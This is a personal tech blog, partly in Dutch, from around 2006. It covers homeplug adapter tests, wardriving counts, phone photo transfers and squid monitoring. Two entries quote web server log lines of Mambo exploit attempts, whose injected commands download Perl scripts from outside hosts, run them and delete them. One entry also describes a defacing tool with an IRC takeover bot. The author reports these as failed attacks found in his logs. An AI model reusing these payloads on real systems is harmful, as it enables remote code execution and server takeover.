booten. Onder Linux kan ik ze niet configureren (er schijnt een linux tool
voor te zijn, maar ik kom alleen maar mac osx versies tegen).

Ik heb thuis een 3-fase aansluiting, en ik verwachtte eindelijk dat ik
op een deel van de stopcontacten dus geen link zou krijgen omdat dat een
andere fase is. Overal waar ik het probeerde kreeg ik link (op de adapters
zit een LED die aangeeft of er homeplug link is), dus op de een
of andere manier praat het toch met elkaar (dit kan een indicatie zijn
hoeveel het signaal 'lekt' en dus ook storing veroorzaakt).

Aansluiten op de eerste PC die ik probeerde gaf geen ethernet link.
Nu kan ik me voorstellen dat er iets van een auto-cross in de ethernet
poort van de adapter zit die niet altijd meewerkt (er kunnen zowel
switches als clients direct aangesloten worden).

De laptop aansluiten gaf wel ethernet link en zag ook de rest van het
netwerk. Ik tik dit nu in via die verbinding.

Natuurlijk is het interresant om eens te meten aan dit netwerk.

Latency:

100 packets transmitted, 100 received, 0% packet loss, time 100029ms
rtt min/avg/max/mdev = 2.310/3.270/7.745/1.500 ms

Een (volgens mij) best acceptabele vertraging. Ik werk nu interactief
over deze verbinding (ssh login) en het werkt gewoon zonder irritante
vertraging.

Bandbreedte:

ftp sessie:
10485760 bytes received in 33.21 secs (308.4 kB/s)

De maximale theoretische snelheid is 14 megabit/seconde.

Vanaf een stopcontact in dezelfde ruimte als waar de andere adapter
staat:

Latency:

100 packets transmitted, 100 received, 0% packet loss, time 99989ms
rtt min/avg/max/mdev = 1.286/2.004/10.582/1.381 ms

Bandbreedte:

10485760 bytes received in 17.16 secs (596.7 kB/s)

Nog geen 14 megabit.. maar wel zeer bruikbaar voor een thuisnetwerk.

Gerelateerd:

Broadband Over Power Line (BPL) and Amateur Radio artikel (engelstalig)
over storingen op amateur-radiofrequenties van netwerk over elektriciteits
kabels (zowel BPL als Homeplug).

Wardriving results 17-28 February: 8231 networks seen, 1091 new with GPS locations according to WiGLE. Score now at WiGLE: Total New Discovered Networks with GPS: 17,560, All Networks Recorded: 20,302. I'm at the 44th ranking for new discovered networks with GPS locations.

Useful link: check blacklist status of your favourite URLs with Secure Computing Smartfilter. Found via Boing Boing: ISPs in Iran, Tunisia also use SmartFilter (which blocks BoingBoing as "nudity").

Neem eens een boompje mee.. (verplaatsing bomen in de Uithof wegens aanleg busbaan)

I tried to download all pictures I took yesterday from my Nokia 6630 phone. This is tedious as Nokia has a weird filenaming scheme: 26022006.jpg, 26022006(001).jpg, .. and since obexftp can't do filename globbing, that gets quite boring fast. But, unix to the rescue: for a in `seq 13 26` ; do ../bin/obexftp -b 00:15:A0:12:34:56 -B 12 -c 'E:/Images/' -g '26022006('`printf '%03d' $a`').jpg' ; done. And all the pictures transfer while I do something useful.

Ik heb eens met een set homeplug netwerk adapters gewerkt en de ervaringen ingetikt. Het werkt. En geeft vast veel storing.

World's largest Windows error message. Times square, a windows error message two floors high (that would be 6 to 8 meter). Yes, it is a winner for the largest Windows error message.

Logs online of a wardrive a week ago from Utrecht central station to Utrecht Overvecht. Almost the same route as I took 12 January 2005 when I found 125 networks. This time I found 189.

Interesting webcam stuff (this subject keeps interesting me!).. the Alaska Volcano Observatory has webcams monitoring several active volcanoes in Alaska. The people in the areas affected by these volcanoes visit the site often to get warnings of possible ashfall. Great site, and it is good to see how modern communication methods (radio networks, internet, web) improve the flow of specialized news to faraway communities interested in that specialized news.

And 52 hours after my afterthought about mentioning the magic phrase for a web worm the first attempt: h58737.serverkompetenz.net - - [18/Feb/2006:23:49:09 +0100] "GET /index.php?_REQUEST[option]=com_content& _REQUEST[Itemid]=1& GLOBALS=& mosConfig_absolute_path=http://www.microsofti.li/tool.gif?& cmd=cd%20/tmp/;lwp-download%20http://www.microsofti.li/sess3024_;perl%20sess3024_;rm%20-rf%20sess3024*? HTTP/1.0" 200 3090 "-" "Mozilla/5.0"

idefix.net now lives on a new server, somewhat faster and more reliable. Time to update the picture on that page! I also moved stuff like The Virtual Bookcase and Camp Wireless. Only thing that gave me troubles right before moving was GNU mailman.

Wardriving results 11-16 February: 5348 networks seen, 1065 new with GPS locations according to WiGLE. Some great results from new detours in Utrecht and a trip to the Concertgebouw in Amsterdam.

Finally fetched the source of the mambo exploit I mentioned before. It does a Google search for "by mambo" and this phrase can be found using google on The Virtual Bookcase exactly once, in the page about Books by Mambo Ama Mazama. Interesting source to read.. a bit of php which calls itself Defacing Tool 2.0 by r3v3ng4ns and a bit of perl which starts an ircbot on server bsd.cuti.cz which allows the usual stuff like taking over the machine and doing portscans. Afterthought: will this host now also get hit because it contains the magic phrase?

Update aan de howto over draadloos netwerk.. naar aanleiding van een vraag een stukje over WDS (wireless distribution system) toegevoegd.

Fun story in Wired News today: Tune In, Turn On, Veg Out.. guy rediscovers TV and finds out what he missed in five years of American TV.

It is raining, and it will rain for the next few days. Forecastfox is showing it. So I get lazy and take the car to work.

From a news.com article about Intel making a deal with skype to limit the functionality of skype on non-Intel x86 hardware asks: Would you avoid buying a PC with an Advanced Micro Devices chip inside because it wouldn't let you host an Internet conference call with six of your friends?. No. I'd buy a PC with AMD inside and drop skype completely.

On The Virtual Bookcase I get loads and loads of requests looking like (broken up for readability): "GET /book/byauthor/index.php? _REQUEST[option]=com_content& _REQUEST[Itemid]=1&GLOBALS=& mosConfig_absolute_path=http://www.thriftysix.co.uk/tool25.txt ?&cmd=cd%20/tmp/;wget%20http://www.thriftysix.co.uk/logs.txt; perl%20logs.txt;rm%20-rf%20logs.txt*? HTTP/1.0" 404 2348 "-" "Mozilla/5.0". All fail ofcourse (that's how I notice them). It seems this is a Mambo exploit in use. Funny thing is I never use Mambo on any site.
I have tried several times to get that tool25.txt to have a look, but it always returns 'The server is temporarily unable to service your request due to the site owner reaching his/her bandwidth limit. Please try again later.'

Wardriving results 8 - 10 February: 1962 networks seen, 173 new with GPS locations according to WiGLE. Even minor detours through the city of Utrecht in streets that I haven't been in in a few months give me lots of new access points. Wireless is still growing.

After too regular filesystem-related problems with the homeserver, I replaced 3 SCSI disks with 1 IDE disk this weekend. Power consumption down on the entire system, cpu usage up on heavy filesystem access. I still get a weird error about unmounting /usr on shutdown, but I found the reason (ldap shared libraries always in use) and I circumvented the problem (also remounting /usr read-only). It took a number of hours of work in total: several hours syncing the old filesystems to the new, and after that several tries to get the system running with all hardware detected and working (there are still a lot of cables in there, and some get unplugged easily on opening and closing the tower case).

Doing some updates to Camp Wireless, finding campsites that advertise as having wireless Internet in the Woodall's guide... just added campsite number 400(!), Hot Springs National Park KOA in Arkansas, USA. It is funny to see the growth in campsites with wireless Internet access.

Back from a snowboarding holiday in Tignes, France. No snowboarding accidents. I just slipped on the sidewalk at the last minute and scratched my right hand in a few places. Great snowboarding in Tignes, great weather. I had time to read too, and I decided to reread some books I read ages ago, and review them (again): The Great Train Robbery by Michael Crichton, In the beginning.. was the command line by Neal Stephenson and At Large: the strange case of the world's biggest internet invasion by David Freedman, Charles Mann. All great books to reread.

I guess it's the time for international book fairs.. after adding news about the International Book Fair of Havana to The Virtual Bookcase last week, this week the news is about the 17th World Book Fair in New Delhi.

I updated the Dell Latitude C640 laptop and linux page with the bits I used to get the Nokia 6630 working for at least obex filetransfer over bluetooth. It took a lot of hacking and trying to get this to work.

It took a bit of hacking, but now I have mon monitoring squid for availability. So now we know (at work) when our proxy goes amiss.

squid (the webproxy) can be monitored using mon, it just takes a bit of
hacking.

I wanted the test of squid to not depend on outside connectivity or any
other servers. So I wanted to use a cache_object.

Some testing, trying later:

In squid.conf, allow the monitoring host (some) access to the cachemgr
objects:

acl manager proto cache_object
acl localhost src 127.0.0.1/255.255.255.255
acl tester src $ipofmonmachine/255.255.255.255

http_access allow manager localhost
http_access allow manager tester
http_access deny manager

then set it up in the mon config

hostgroup webproxy-servers proxy.yourdomain

watch webproxy-servers
service ping
description ping to proxy servers
interval _HOST_REACHABILITY_INTERVAL_
monitor ping.monitor
_GENERIC_PERIOD_
service webproxy
description proxy active test
interval _HOST_REACHABILITY_INTERVAL_
monitor http.monitor -p 3128 -u cache_object://localhost/info
_GENERIC_PERIOD_

happy monitoring.

Wardriving results 18-20 January.. not much exciting happening with wardriving at the moment. 1674 networks seen, 100 new with gps locations according to WiGLE. My current WiGLE ranking is now up to 50 for all times, which is quite good, I think ;)

Ik heb wat tips en ervaringen over wardriven in Nederland op een rijtje gezet.

From Wired news a remarkable article: The Backhoe: A Real Cyberthreat.

I made some pictures of my snowboard now it's all put together and waiting for the upcoming trip.

Wardriving results 13-17 January.. some purpose detours on bike and some bringing the wardriving kit along on trips for other reasons: 3535 networks seen, 467 new networks with GPS locations according to WiGLE. Biggest surprise was that I found 157 new networks travelling to the concertgebouw in Amsterdam, a route I did several times before.

Ik heb een 2e hands snowboard gekocht en had nog wat onderdelen nodig.. Cellblock snowboard shop in Utrecht heeft veel spare parts in huis en kon zo de onderdelen die ik zocht leveren voor een hele mooie prijs. Naast een 10 voor vakkennis (ze zijn daar echt goed) ook een 10 voor service.

Wardriving results for 9-12 January: 3140 networks seen, 838 new with GPS according to WiGLE. Of those new ones 634 were in one day when I biked around Leidsche Rijn, a new part of Utrecht. There is a wireless networking community in Leidsche Rijn but I guess there are also a lot of people using wireless networks in their own home.

Wardriving results for the first week of the new year and a weekend (2-8 January): 4614 networks seen, 645 new with GPS. Some high yields (more than a 100 new networks) from relatively simple detours through bits of Utrecht.

I watched the leap second on my rikaline gps and .. nothing happened. It just jumps from 2005-12-31 23:59:59 UTC to 2006-01-01 00:00:00 with nothing in between. Other sources did show a real leap second or an adjustment after the fact.